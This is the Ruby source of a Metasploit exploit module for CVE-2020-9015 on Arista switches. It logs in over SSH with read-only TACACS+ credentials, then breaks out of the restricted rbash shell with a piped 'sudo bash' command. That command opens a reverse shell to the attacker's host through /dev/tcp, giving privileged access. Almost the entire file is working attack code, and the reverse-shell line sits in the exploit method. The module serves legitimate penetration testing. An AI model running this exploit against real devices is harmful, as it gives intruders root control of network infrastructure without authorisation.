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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'net/ssh'
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require 'net/ssh/command_stream'
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::SSH
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  include Msf::Auxiliary::Report
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Arista restricted shell escape (with privesc)',
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        'Description' => %q{
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          This exploit module takes advantage of a poorly configured TACACS+ config,
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          Arista's bash shell and TACACS+ read-only account to privilage escalate.
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          A CVSS v3 base score of 9.8 has been assigned.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => ['Chris Anders'],
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        'References' => [
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          [ 'CVE', '2020-9015'],
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          [ 'URL', 'http://www.securitybytes.me/posts/cve-2020-9015/'],
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          [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-9015' ],
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        ],
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        'Arch' => ARCH_X86,
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        'ConnectionType' => 'find',
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        'DefaultTarget' => 0,
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        'DefaultOptions' => {
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          'Payload' => 'linux/x86/shell_reverse_tcp'
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        },
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [IOC_IN_LOGS]
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        },
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        'DisclosureDate' => '2020-02-02',
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        'Platform' => 'linux',
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        'PayloadType' => 'cmd_interact',
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        'Privileged' => true,
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        'Targets' => [ [ 'Universal', {} ] ]
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(22),
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        OptString.new('USERNAME', [true, 'Username to login with', '']),
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        OptString.new('PASSWORD', [true, 'Password to login with', '']),
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      ]
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    )
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    register_advanced_options(
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      [
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        Opt::Proxies,
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        OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
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        OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30]),
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        OptBool.new('GatherProof', [true, 'Gather proof of access via pre-session shell commands', false])
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      ]
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    )
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  end
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  def check
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    opts = ssh_client_defaults.merge({
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      auth_methods: ['password', 'keyboard-interactive'],
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      port: rport,
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      password: password
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    })
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    begin
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      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
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        Net::SSH.start(rhost, username, opts)
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      end
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    rescue Rex::ConnectionError
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      return CheckCode::Safe
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    rescue Net::SSH::Disconnect, ::EOFError
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      return CheckCode::Safe
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    rescue Timeout::Error
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      return CheckCode::Safe
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    rescue Net::SSH::AuthenticationFailed
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      return CheckCode::Safe
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    rescue Net::SSH::Exception
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      return CheckCode::Safe
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    end
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    CheckCode::Detected
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  end
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  def rhost
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    datastore['RHOST']
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  end
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  def rport
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    datastore['RPORT']
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  end
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  def lport
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    datastore['LPORT']
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  end
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  def lhost
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    datastore['LHOST']
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  end
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  def username
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    datastore['USERNAME']
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  end
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  def password
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    datastore['PASSWORD']
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  end
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  def exploit
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    factory = ssh_socket_factory
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    opts = {
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      auth_methods: ['password', 'keyboard-interactive'],
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      port: rport,
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      use_agent: false,
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      config: false,
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      password: password,
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      proxy: factory,
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      non_interactive: true,
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      verify_host_key: :never
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    }
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    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
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    print_status("#{rhost}:#{rport} - Attempt to login to the Arista's restricted shell...")
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    begin
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      ssh = nil
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      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
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        ssh = Net::SSH.start(rhost, username, opts)
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      end
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    rescue Rex::ConnectionError
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      fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
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    rescue Net::SSH::Disconnect, ::EOFError
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      fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
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    rescue ::Timeout::Error
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      fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
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    rescue Net::SSH::AuthenticationFailed
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      fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")
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    rescue Net::SSH::Exception => e
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      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")
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    end
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    fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh
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    begin
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      payload_executed = false
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      print_good('SSH connection established.')
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      ssh.open_channel do |channel, _data|
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        print_status('Requesting pty rbash')
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        channel.request_pty do |ch, success|
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          fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not request a PTY!") unless success
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          print_good('PTY successfully obtained.')
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          print_status('Requesting a shell.')
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          ch.send_channel_request('shell') do |cha, _succ|
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            fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not open rbash shell!") unless success
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            print_good('Spawned into arista rbash shell.')
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            cha.on_data do |_xx, data2|
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              if data2.include?('#') && !payload_executed
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                print_status('Attempting to break out of Arista rbash...')
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                channel.send_data("show run | grep '' | sudo bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1 2>&1 &'\n")
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                payload_executed = true
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                print_good('Escaped from rbash!')
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              end
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            end
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          end
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        end
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      end
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      ssh.loop unless session_created?
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    rescue Errno::EBADF => e
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      elog(e.message)
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    end
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  end
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end
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